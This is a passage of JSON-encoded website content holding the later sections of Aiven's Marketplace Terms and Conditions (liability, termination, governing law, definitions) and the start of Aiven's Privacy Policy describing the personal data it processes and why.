less."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"308aa6ab43c4","_type":"block","children":[{"_key":"d406b3f31e8d0","_type":"span","marks":[],"text":"A Party shall not be liable for any indirect, incidental, or consequential damages such as loss of profits, revenue or business, damages caused due to decrease in turnover or production or loss, alteration, destruction or corruption of data."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"4725b39c9dae","_type":"block","children":[{"_key":"389252efa6d50","_type":"span","marks":[],"text":"The limitations of liability shall not apply to damages caused by willful misconduct or gross negligence or to liability under Section 9 (Indemnification) or Section 10 (Confidentiality)."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"7c311b02b042","_type":"block","children":[{"_key":"324c0462aab30","_type":"span","marks":[],"text":"12. Term and Termination"}],"markDefs":[],"style":"h3"},{"_key":"d2fe64c7bedc","_type":"block","children":[{"_key":"9dfceeba7c850","_type":"span","marks":[],"text":"This Agreement shall enter into force when the Customer has accepted this Agreement when registering for the first time to use the Cloud Services. If the Cloud Services are ordered through a separate Order Form, this Agreement will become effective as stated in the Order Form."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"47176570ae49","_type":"block","children":[{"_key":"ccfc810ea3200","_type":"span","marks":[],"text":"Unless expressly set out to the contrary in the Order Form, the Agreement shall remain in force until terminated by a Party by a two (2) months' written notice to the other Party. Unless expressly set out to the contrary in the Order Form, the Customer may terminate the order of any individual Cloud Service at any time by choosing that option at the Customer's account on the Web Site, in which case the invoicing for the relevant Cloud Service shall be stopped from that day onward. If a Customer terminates individual Cloud Services, the Agreement remains in force until terminated as set out in this section 12."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"d5e72c4bdfc4","_type":"block","children":[{"_key":"6f850f85454c0","_type":"span","marks":[],"text":"Each Party may terminate the Agreement in whole for cause with immediate effect upon written notice to the other Party if (a) the other Party becomes insolvent, applies for or is adjudicated in bankruptcy or liquidation or corporate restructuring or otherwise ceases to carry on its business; or (b) the other Party is in material breach of the terms and conditions of this Agreement and fails to remedy such breach within thirty (30) days from the date of receipt of a written notice by the non-defaulting Party, such written notice detailing the breach and the intention to terminate."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"be3ad9071757","_type":"block","children":[{"_key":"aabb1b173aac0","_type":"span","marks":[],"text":"Unless expressly set out to the contrary in the Order Form, upon the termination of the Agreement for any reason, any Fees owed by the Customer until the effective date of the termination shall become due."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"6c7ce20c6c72","_type":"block","children":[{"_key":"4804755e52a70","_type":"span","marks":[],"text":"If not instructed otherwise in writing by the Customer and unless legally required to keep Customer data uploaded to the Cloud Services, Aiven shall delete and destroy the data the latest within ninety (90) days' of the termination of the Agreement or after the maximum data retention period permitted by the technology of the relevant Cloud Service. In case the Customer demands that the Customer data are returned to the Customer or to a third party, the Customer will pay Aiven for any additional costs and expenses arising out of such return of the Customer data."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"f07e5cfa1586","_type":"block","children":[{"_key":"9db1b0a24dcd0","_type":"span","marks":[],"text":"13. Other Terms"}],"markDefs":[],"style":"h3"},{"_key":"f7f5befda35c","_type":"block","children":[{"_key":"2b7b6b8c338b0","_type":"span","marks":[],"text":"Notwithstanding the rules on Subprocessors agreed in the DPA, Aiven shall be free to use subcontractors in the performance of its obligations and exercise of its rights under this Agreement. A list of Aiven's Subprocessors and subcontractors is available at the Web Site, if not communicated separately to the Customer."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"245ce5afa940","_type":"block","children":[{"_key":"49450e790efd0","_type":"span","marks":[],"text":"Aiven shall have the right to use its relationship with the Customer in its marketing and sales promotion activities."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"735e59b72a69","_type":"block","children":[{"_key":"dc3de67adeb60","_type":"span","marks":[],"text":"This Agreement constitutes the entire agreement with respect to Customer’s access to and use of the Cloud Services. Aiven's obligations regarding the Cloud Services are governed solely by this Agreement pursuant to which they are provided. In the event of discrepancy between this Agreement and the Aiven standard template Order Form, the text of the Aiven standard template Order Form shall prevail. For clarity, these General Terms shall prevail over any Customer general terms and conditions which may have been referenced in the Customer’s standard template order form or purchase order."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"99b600a070ef","_type":"block","children":[{"_key":"e0e2576db3aa0","_type":"span","marks":[],"text":"Except as expressly provided herein, neither Party makes any warranties of any kind, whether express, implied, statutory or otherwise, and each Party specifically disclaims all implied warranties, including any warranties of merchantability, fitness for a particular purpose, or non-infringement, and any warranties arising out of course of dealing, course of performance or use of trade to the maximum extent permitted by applicable law. The Cloud Services are provided to Customer strictly on an \"as is\" basis. Aiven shall have no responsibility for determining that Customer's proposed use of the Cloud Services complies with applicable laws and regulations in Customer's jurisdiction(s). Customer acknowledges and agrees Aiven is not engaged in providing legal, accounting, tax, or financial services or advice. No advice or information, whether oral or written, provided by Aiven will create any warranty or condition not expressly stated in this agreement."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"df9a2368e77c","_type":"block","children":[{"_key":"2800bd47e9f00","_type":"span","marks":[],"text":"Either Party shall not be liable for any delays or non-performance of its obligations or any damages caused by an impediment beyond its reasonable control, which it could not have reasonably taken into account at the time of entering into this Agreement, and whose consequences it could not reasonably have avoided or overcome. For instance, errors in public communication networks or electricity supply shall constitute such an impediment. Strike, lockout, boycott and other industrial action shall constitute a force majeure event also when the Party concerned is the target or Party to such action. A force majeure event suffered by a Subprocessor or a subcontractor of a Party shall also discharge such Party from liability. Each Party shall without delay inform the other Party in writing of a force majeure event and the termination of the force majeure event."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"86506b00eb38","_type":"block","children":[{"_key":"1cf7a38dd1760","_type":"span","marks":[],"text":"All formal notices and other formal communication between the Parties hereunder shall be made in the English language. Neither Party shall be entitled to assign nor transfer all or any of its rights, benefits and obligations under this Agreement without the prior written consent of the other Party, which consent shall not be unreasonably withheld or delayed. Aiven shall, however, have the right to assign this Agreement in connection with a sale or transfer of its business or a relevant part thereof."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"9e45163fd8be","_type":"block","children":[{"_key":"8f7e325156140","_type":"span","marks":[],"text":"Aiven shall have the right to update the Agreement at its sole discretion. Aiven shall notify the Customer of material updates. Should the Customer not accept the updated Agreement, the Customer shall have the right to terminate the Agreement by a written notice to the Company, effective as of the effective date of the new General Terms"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"44a61da724ac","_type":"block","children":[{"_key":"02feb589902d0","_type":"span","marks":[],"text":"Any terms and conditions that by their nature or otherwise reasonably should survive a cancellation or termination of this Agreement shall also be deemed to survive."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"5113268aaf6b","_type":"block","children":[{"_key":"c976569f772c0","_type":"span","marks":[],"text":"Aiven shall have the right to delete Cloud Services which have been powered-off for more than 180 days. The Customer acknowledges that such deletion will also delete all backups of such deleted Cloud Service."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"4a3d57f9609f","_type":"block","children":[{"_key":"37eadbafdb370","_type":"span","marks":[],"text":"14. Governing Law and Disputes"}],"markDefs":[],"style":"h3"},{"_key":"b4a1bcd9859f","_type":"block","children":[{"_key":"b97c8a11e8460","_type":"span","marks":[],"text":"The Agreement shall be governed by and construed in accordance with the substantive laws of Finland, excluding its choice of law provisions."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"a3982e5e9b2e","_type":"block","children":[{"_key":"376ed1ae42b40","_type":"span","marks":[],"text":"Any dispute, controversy or claim arising out of or relating to this Agreement, or the breach, termination or validity thereof, shall be finally settled by arbitration in accordance with the Arbitration Rules of the Finland Chamber of Commerce. The number of arbitrators shall be one (1). The seat of arbitration shall be Helsinki, Finland. The language of the arbitration shall be English."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"57b35e15a1f2","_type":"block","children":[{"_key":"9f51ba7ae4460","_type":"span","marks":[],"text":"Notwithstanding anything set out in Section 14.2 above, Aiven shall have the right to claim unpaid Fees in a public court."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"0b4f46555e93","_type":"block","children":[{"_key":"3c7e8f8b83eb0","_type":"span","marks":[],"text":"15. Definitions"}],"markDefs":[],"style":"h3"},{"_key":"737fa3c64c0c","_type":"block","children":[{"_key":"88644ba2fdd50","_type":"span","marks":[],"text":"\""},{"_key":"88644ba2fdd51","_type":"span","marks":["strong"],"text":"Acceptable Use Policy"},{"_key":"88644ba2fdd52","_type":"span","marks":[],"text":"\" has the meaning set out in Section 7.1;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"575f73d86fb7","_type":"block","children":[{"_key":"d01dfd6300321","_type":"span","marks":["strong"],"text":"\"Additional Services"},{"_key":"d01dfd6300322","_type":"span","marks":[],"text":"\" means optional Services, further described in an Order Form or at the Website, as applicable, which are not Cloud Services, Consulting Services, Support Services or Beta Services."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"8eec0376eacd","_type":"block","children":[{"_key":"40210ea030620","_type":"span","marks":[],"text":"\""},{"_key":"40210ea030621","_type":"span","marks":["strong"],"text":"Affiliate"},{"_key":"40210ea030622","_type":"span","marks":[],"text":"\" of a Party means any legal entity that is (a) directly or indirectly owning or controlling the Party, or (b) under the same direct or indirect ownership or control as the Party, or (c) directly or indirectly owned or controlled by the Party, for so long as such ownership or control lasts. Ownership or control shall exist through direct or indirect ownership of more than fifty percent (50%) of the nominal value of the issued equity share capital or more than fifty percent (50%) of the shares entitling the holders to vote for the election of the members of the board of directors or persons performing similar functions;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"3422e403f925","_type":"block","children":[{"_key":"4fffa4d021ab0","_type":"span","marks":[],"text":"\""},{"_key":"4fffa4d021ab1","_type":"span","marks":["strong"],"text":"Agreement"},{"_key":"4fffa4d021ab2","_type":"span","marks":[],"text":"\" means this agreement between Aiven and the Customer, consisting of these General Terms, the SLA, the DPA and the Support Services Description available on the Web Site, and any Order Form with its appendices that Aiven and the Customer may have entered into;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"0c39fee99ba6","_type":"block","children":[{"_key":"58839f7b99160","_type":"span","marks":[],"text":"\""},{"_key":"58839f7b99161","_type":"span","marks":["strong"],"text":"Beta Services"},{"_key":"58839f7b99162","_type":"span","marks":[],"text":"\" means a preview of the new Aiven Cloud Services, which have not been made generally available, including early access and limited access Cloud Services. The definition Beta Services includes also Cloud Services provided to Customer free of charge;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"047aae374e65","_type":"block","children":[{"_key":"a61e00dfdb990","_type":"span","marks":[],"text":"\""},{"_key":"a61e00dfdb991","_type":"span","marks":["strong"],"text":"Beta Features"},{"_key":"a61e00dfdb992","_type":"span","marks":[],"text":"\" means features, which have not been made generally available, including early access and limited access features. The definition Beta Features includes also features provided to Customer free of charge;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"c38e2a16a3e2","_type":"block","children":[{"_key":"82ef42fe3c140","_type":"span","marks":[],"text":"\""},{"_key":"82ef42fe3c141","_type":"span","marks":["strong"],"text":"Cloud Service(s)"},{"_key":"82ef42fe3c142","_type":"span","marks":[],"text":"\" means the cloud based services provided by Aiven to the Customer as set out in the Agreement;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"86b65706dcab","_type":"block","children":[{"_key":"22ab482a213c0","_type":"span","marks":[],"text":"\""},{"_key":"22ab482a213c1","_type":"span","marks":["strong"],"text":"Customer"},{"_key":"22ab482a213c2","_type":"span","marks":[],"text":"\" means the customer entity registering to use the Services or the customer entity set out in the Order Form, including its Affiliates, and entering into the Agreement with Aiven;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"5ee6410fa6b7","_type":"block","children":[{"_key":"e06f5ed4d32c0","_type":"span","marks":[],"text":"\""},{"_key":"e06f5ed4d32c1","_type":"span","marks":["strong"],"text":"Confidential Information"},{"_key":"e06f5ed4d32c2","_type":"span","marks":[],"text":"\" has the meaning set out in Section 10.1;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"ef111c48c2f0","_type":"block","children":[{"_key":"d3fc4043fe5e1","_type":"span","marks":["strong"],"text":"\"Consulting Services"},{"_key":"d3fc4043fe5e2","_type":"span","marks":[],"text":"\" means Services further described and classified as Consulting Services in an Order Form and which are subject to additional consulting terms and conditions."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"53ba41308373","_type":"block","children":[{"_key":"2f4ff4f238d10","_type":"span","marks":[],"text":"\""},{"_key":"2f4ff4f238d11","_type":"span","marks":["strong"],"text":"DPA"},{"_key":"2f4ff4f238d12","_type":"span","marks":[],"text":"\" means Aiven Data Processing Agreement which is located on the Web Site or as an appendix of the Order Form;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"95dfd7481096","_type":"block","children":[{"_key":"fb20c1179d4a0","_type":"span","marks":[],"text":"\""},{"_key":"fb20c1179d4a1","_type":"span","marks":["strong"],"text":"Data Protection Regulation"},{"_key":"fb20c1179d4a2","_type":"span","marks":[],"text":"\" means all applicable laws relating to data protection, including without limitation the EU General Data Protection Regulation (2016/679, the GDPR), laws implementing EU Directive 2002/58/EC and any amendments to or replacements for such laws and regulations;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"1ba4ef78e225","_type":"block","children":[{"_key":"6273b61853ce0","_type":"span","marks":[],"text":"\""},{"_key":"6273b61853ce1","_type":"span","marks":["strong"],"text":"Fee(s)"},{"_key":"6273b61853ce2","_type":"span","marks":[],"text":"\" means the compensation paid by the Customer for the Services;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"9f1afb4e5f44","_type":"block","children":[{"_key":"55d6b79edbed0","_type":"span","marks":[],"text":"\""},{"_key":"55d6b79edbed1","_type":"span","marks":["strong"],"text":"General Terms"},{"_key":"55d6b79edbed2","_type":"span","marks":[],"text":"\" has the meaning set out in the preamble above;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"7c54a603e2ed","_type":"block","children":[{"_key":"139ff58623aa0","_type":"span","marks":[],"text":"\""},{"_key":"139ff58623aa1","_type":"span","marks":["strong"],"text":"Intellectual Property Rights"},{"_key":"139ff58623aa2","_type":"span","marks":[],"text":"\" means any and all patents, utility models, design rights, copyrights (including the right to amend, modify, develop and assign), trademarks, trade names, inventions, trade secrets, domain names, know-how and any other industrial or intellectual property rights (including applications thereof);"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"c90ea403b626","_type":"block","children":[{"_key":"cd400ed1d4a10","_type":"span","marks":[],"text":"\""},{"_key":"cd400ed1d4a11","_type":"span","marks":["strong"],"text":"Marketplace"},{"_key":"cd400ed1d4a12","_type":"span","marks":[],"text":"\" means the third party platform through which the Services are provided;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"bba93e9da1e4","_type":"block","children":[{"_key":"c100fc9b2a070","_type":"span","marks":[],"text":"\""},{"_key":"c100fc9b2a071","_type":"span","marks":["strong"],"text":"Marketplace Provider"},{"_key":"c100fc9b2a072","_type":"span","marks":[],"text":"\" means the Marketplace vendor through which the Services are provided;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"1c0d4406d2dd","_type":"block","children":[{"_key":"6c85720ea2dc0","_type":"span","marks":[],"text":"\""},{"_key":"6c85720ea2dc1","_type":"span","marks":["strong"],"text":"Marketplace Provider’s Terms"},{"_key":"6c85720ea2dc2","_type":"span","marks":[],"text":"\" means the Marketplace Provider’s terms and conditions applicable to the Services ordered through Marketplace in force at any given time;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"a3406695438a","_type":"block","children":[{"_key":"520b98d3b5330","_type":"span","marks":[],"text":"\""},{"_key":"520b98d3b5331","_type":"span","marks":["strong"],"text":"Order Form"},{"_key":"520b98d3b5332","_type":"span","marks":[],"text":"\" means an order concerning the purchase of Services between the Parties. By entering into an Order Form under this Agreement, the Customer agrees to be bound by the applicable Marketplace Provider’s Terms and the terms of this Agreement, of which these General Terms form an integral and inseparable part of. The Order Form may include an executed quotation or purchase order for the Services to take place through Marketplace. The scope of the Services, commercial details, effective date and term length for each separate order are specified in the applicable Order Form. The Order Forms will form an inseparable part of this Agreement in the order entered into;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"89d52421699e","_type":"block","children":[{"_key":"e22a49f1e6240","_type":"span","marks":[],"text":"\""},{"_key":"e22a49f1e6241","_type":"span","marks":["strong"],"text":"Services"},{"_key":"e22a49f1e6242","_type":"span","marks":[],"text":"\" means the services provided by Aiven under the Agreement, including Cloud Services, Support Services, Consulting Services, Beta Services and Additional Services;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"1326c01abf8d","_type":"block","children":[{"_key":"33b340c365a10","_type":"span","marks":[],"text":"\""},{"_key":"33b340c365a11","_type":"span","marks":["strong"],"text":"SLA"},{"_key":"33b340c365a12","_type":"span","marks":[],"text":"\" means Aiven Service Level Agreement which is located on the Web Site or as an appendix of the Order Form;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"a77f8bfd4bf9","_type":"block","children":[{"_key":"88fa680af4b30","_type":"span","marks":[],"text":"\""},{"_key":"88fa680af4b31","_type":"span","marks":["strong"],"text":"Standard Contractual Clauses"},{"_key":"88fa680af4b32","_type":"span","marks":[],"text":"\" means the contractual clauses issued by the European Commission by the decision 2021/914/EU for international transfers of personal data and any updated versions;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"f18305e212e7","_type":"block","children":[{"_key":"efac92eb202f0","_type":"span","marks":["strong"],"text":"\"Subprocessor\" "},{"_key":"efac92eb202f1","_type":"span","marks":[],"text":"means Aiven Affiliates and third parties; i) providing the back-end services for Aiven and/or ii) selected by the Customer to provide the hosting services for the data Customer inputs to the Cloud Services (e.g. Google, Microsoft, AWS). The Subprocessors and their services are listed on the Website."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"f84e783d29b3","_type":"block","children":[{"_key":"fc1f713a38700","_type":"span","marks":[],"text":"\""},{"_key":"fc1f713a38701","_type":"span","marks":["strong"],"text":"Support Services"},{"_key":"fc1f713a38702","_type":"span","marks":[],"text":"\" means the Support Services provided by Aiven to the Customer;"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"7e0831797131","_type":"block","children":[{"_key":"3cb9134530000","_type":"span","marks":[],"text":"\""},{"_key":"3cb9134530001","_type":"span","marks":["strong"],"text":"Support Services Description"},{"_key":"3cb9134530002","_type":"span","marks":[],"text":"\" which is located on the Web Site or as an appendix of the Order Form; and"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"e964b32d998d","_type":"block","children":[{"_key":"4887bb09c8290","_type":"span","marks":[],"text":"\""},{"_key":"4887bb09c8291","_type":"span","marks":["strong"],"text":"Web Site"},{"_key":"4887bb09c8292","_type":"span","marks":[],"text":"\" means Aiven's web site available at "},{"_key":"4887bb09c8293","_type":"span","marks":["16badb53b196"],"text":"aiven.io"},{"_key":"4887bb09c8294","_type":"span","marks":[],"text":" and the Aiven console available at "},{"_key":"4887bb09c8295","_type":"span","marks":["ab2ecfd111b9"],"text":"console.aiven.io"},{"_key":"4887bb09c8296","_type":"span","marks":[],"text":" through which the Customer may use the Cloud Services."}],"level":1,"listItem":"number","markDefs":[{"_key":"16badb53b196","_type":"link","href":"https://aiven.io/"},{"_key":"ab2ecfd111b9","_type":"link","href":"https://console.aiven.io/"}],"style":"normal"}],"publishedAt":"2024-03-04T14:17:33.700Z","seo":{"_type":"metaData","excludeFromSitemap":true,"metaDescription":"Governs the use of the Aiven Services provided through marketplace and consists of general terms, SLA, DPA and the support services description.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-d5aeed21a61ecdc16bc7f53357ecad5fac4feaba-1200x630-jpg","_type":"reference"}},"metaTitle":"Aiven Marketplace Terms and Conditions"},"slug":{"_type":"slug","current":"/marketplace-terms"},"title":"Aiven Marketplace Terms and Conditions"} {"__i18n_lang":"en","_createdAt":"2022-06-06T07:07:13Z","_id":"e0c3ba03-765a-4d8c-bebb-90619d512ee5","_rev":"tW1iVB3M02HkZ9xlOTpRwv","_type":"term","_updatedAt":"2025-01-13T12:23:33Z","content":[{"_key":"303a382f5014","_type":"block","children":[{"_key":"770fc1002e9b0","_type":"span","marks":[],"text":"Personal Data File and Controller"}],"markDefs":[],"style":"h2"},{"_key":"ca4e843d2a2e","_type":"block","children":[{"_key":"9b7d2808a26a0","_type":"span","marks":[],"text":"This Privacy Policy (referred to as \""},{"_key":"9b7d2808a26a1","_type":"span","marks":["strong"],"text":"Privacy"},{"_key":"9b7d2808a26a2","_type":"span","marks":[],"text":" "},{"_key":"9b7d2808a26a3","_type":"span","marks":["strong"],"text":"Policy"},{"_key":"9b7d2808a26a4","_type":"span","marks":[],"text":"\") informs why and how we process personal data about representatives of business customers and potential business customers and visitors using the website at aiven.io (referred to as \""},{"_key":"9b7d2808a26a7","_type":"span","marks":["strong"],"text":"User"},{"_key":"9b7d2808a26a8","_type":"span","marks":[],"text":"\" and jointly \""},{"_key":"9b7d2808a26a9","_type":"span","marks":["strong"],"text":"Users"},{"_key":"9b7d2808a26a10","_type":"span","marks":[],"text":"\")."}],"markDefs":[],"style":"normal"},{"_key":"adef2e72787f","_type":"block","children":[{"_key":"f62c898a56680","_type":"span","marks":[],"text":"Aiven Ltd as Data Controller"}],"markDefs":[],"style":"h2"},{"_key":"deb7f2a56033","_type":"block","children":[{"_key":"d55959ae81d40","_type":"span","marks":[],"text":"Aiven Ltd, Business ID: 2795743-5, as the data controller (referred to as \""},{"_key":"d55959ae81d41","_type":"span","marks":["strong"],"text":"Aiven"},{"_key":"d55959ae81d42","_type":"span","marks":[],"text":"\", \""},{"_key":"d55959ae81d43","_type":"span","marks":["strong"],"text":"we"},{"_key":"d55959ae81d44","_type":"span","marks":[],"text":"\" or \""},{"_key":"d55959ae81d45","_type":"span","marks":["strong"],"text":"us"},{"_key":"d55959ae81d46","_type":"span","marks":[],"text":"\") is responsible for ensuring that personal data is processed in compliance with this Privacy Policy and applicable data protection laws."}],"markDefs":[],"style":"normal"},{"_key":"4c784f3514fa","_type":"block","children":[{"_key":"6119c88a94210","_type":"span","marks":[],"text":"We have also designated a Data Protection Officer (“DPO”) to oversee our data protection related matters. If you have any questions or concerns about the way we use your data, you may contact our DPO by email at "},{"_key":"6119c88a94211","_type":"span","marks":["f2ed99cd694d"],"text":"dpo@aiven.io"},{"_key":"3a86ff4ab539","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"f2ed99cd694d","_type":"link","href":"mailto:dpo@aiven.io"}],"style":"normal"},{"_key":"507b693a867b","_type":"block","children":[{"_key":"6253d7bdcabf0","_type":"span","marks":[],"text":"What personal data do we process?"}],"markDefs":[],"style":"h2"},{"_key":"988c578fbd9a","_type":"block","children":[{"_key":"8348c561f5430","_type":"span","marks":[],"text":"We collect personal data through different means, which are explained below in more detail. Personal data is mainly collected directly from the User in connection with the customer relationship or website activity."}],"markDefs":[],"style":"normal"},{"_key":"cbaeadbb4952","_type":"block","children":[{"_key":"07b682b6912b0","_type":"span","marks":[],"text":"Customer data"}],"markDefs":[],"style":"h3"},{"_key":"c0c1a104d28b","_type":"block","children":[{"_key":"fc4f399672af0","_type":"span","marks":[],"text":"The following personal data is processed in connection with the customer relationship:"}],"markDefs":[],"style":"normal"},{"_key":"f13d531cc11a","_type":"block","children":[{"_key":"cfa6a723970d0","_type":"span","marks":[],"text":"Information of the users of the services provided by us, such as full name, email address, job title, company name;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"867c258ea1df","_type":"block","children":[{"_key":"b222a8a4741e0","_type":"span","marks":[],"text":"Customer relationship details, such as the contract between Aiven and the customer, start and end date of customer relationship and services ordered;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"945a71d8370f","_type":"block","children":[{"_key":"1a647489a3c70","_type":"span","marks":[],"text":"Billing information, such as credit card details, bank account information, payments made, outstanding invoices, and invoices delivered;"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d8e47d2f4508","_type":"block","children":[{"_key":"4daccb72dac4","_type":"span","marks":[],"text":"Customer interaction, such as customer contacts, feedback and complaints"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"41136ce07f92","_type":"block","children":[{"_key":"1cba2659d587","_type":"span","marks":[],"text":"Interaction in the Aiven Community forum, such as messages sent in the Community forum; and"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"714e189af04f","_type":"block","children":[{"_key":"c229d94d7067","_type":"span","marks":[],"text":"Marketing communications."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"27723ec51899","_type":"block","children":[{"_key":"9b6e791e05950","_type":"span","marks":[],"text":"Prospect data"}],"markDefs":[],"style":"h3"},{"_key":"b83a12414519","_type":"block","children":[{"_key":"25f1d384afb00","_type":"span","marks":[],"text":"We may contact potential customers and provide them relevant information about our services. For this purpose, the following information will be processed:"}],"markDefs":[],"style":"normal"},{"_key":"2a73dc6e45cb","_type":"block","children":[{"_key":"538a8631496d0","_type":"span","marks":[],"text":"User information, such as name, email address, job title, company name; and"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e8571e8ea3d5","_type":"block","children":[{"_key":"61c982b2fd3f0","_type":"span","marks":[],"text":"Marketing communications."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6ae49c6f740f","_type":"block","children":[{"_key":"0e315b216c0f0","_type":"span","marks":[],"text":"Technical data"}],"markDefs":[],"style":"h3"},{"_key":"d15e3e1999d6","_type":"block","children":[{"_key":"b61161deb2c60","_type":"span","marks":[],"text":"We collect some technical data automatically through the use of our website or services, which may be associated with Users. For this purpose, the following information will be processed:"}],"markDefs":[],"style":"normal"},{"_key":"3d07a34e33f4","_type":"block","children":[{"_key":"fa5a5c94ee150","_type":"span","marks":[],"text":"User’s IP address"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"516adad39e7b","_type":"block","children":[{"_key":"83a6bb6fabde0","_type":"span","marks":[],"text":"Type and device ID"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"dd14978fc7b9","_type":"block","children":[{"_key":"e0c62a1dfd2e0","_type":"span","marks":[],"text":"Browser type and version"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0530ad755f19","_type":"block","children":[{"_key":"9128f445c3c70","_type":"span","marks":[],"text":"Geographical location based on the IP address"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"02d135ff4b97","_type":"block","children":[{"_key":"145264c2b3db0","_type":"span","marks":[],"text":"Service access times"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1ef09c228d72","_type":"block","children":[{"_key":"17930c40570c0","_type":"span","marks":[],"text":"Statistics on page views and time spent on pages"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"3c5d76eff106","_type":"block","children":[{"_key":"d70508cb6b8c0","_type":"span","marks":[],"text":"Any other automatically collectible information"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6afa52a7b258","_type":"block","children":[{"_key":"3c1fa4fb507a0","_type":"span","marks":[],"text":"Special categories of personal data"}],"markDefs":[],"style":"h3"},{"_key":"e7335cf3e5fc","_type":"block","children":[{"_key":"f78c7ad9ac200","_type":"span","marks":[],"text":"We do not process special categories of personal data about our Users."}],"markDefs":[],"style":"normal"},{"_key":"5ba20825801a","_type":"block","children":[{"_key":"2b5a7434efef0","_type":"span","marks":[],"text":"For what purpose and with what legal basis do we process personal data?"}],"markDefs":[],"style":"h2"},{"_key":"f8374d8a5475","_type":"block","children":[{"_key":"20c8207093df0","_type":"span","marks":[],"text":"We process personal data for the following purposes:"}],"markDefs":[],"style":"normal"},{"_key":"3561baa2b5dc","_type":"block","children":[{"_key":"359ce797e47c0","_type":"span","marks":[],"text":"Service provision based on contractual relationship with us"}],"markDefs":[],"style":"h3"},{"_key":"2f5a1cac5fe0","_type":"block","children":[{"_key":"41405a8a1cc30","_type":"span","marks":[],"text":"We process personal data when this is necessary under our contract with our customers and Aiven Community forum members, to provide our services , and specific features selected by the customer, and to manage and maintain the customer relationship between us. In this case, the processing is based on the performance of the customer contract."}],"markDefs":[],"style":"normal"},{"_key":"5db8dc1b4db8","_type":"block","children":[{"_key":"4e3345b48ca20","_type":"span","marks":[],"text":"Marketing"}],"markDefs":[],"style":"h3"},{"_key":"c7f6c2ed0422","_type":"block","children":[{"_key":"e0266d935f620","_type":"span","marks":[],"text":"We process personal data for marketing purposes as follows:"}],"markDefs":[],"style":"normal"},{"_key":"ff18a191bf81","_type":"block","children":[{"_key":"36b784f827320","_type":"span","marks":[],"text":"We send direct marketing via email based on our legitimate interest to provide Users with relevant information as part of our services and to promote our services. A User may unsubscribe from marketing emails at any time by clicking on the \"unsubscribe\" link located on the bottom of emails or by contacting us at 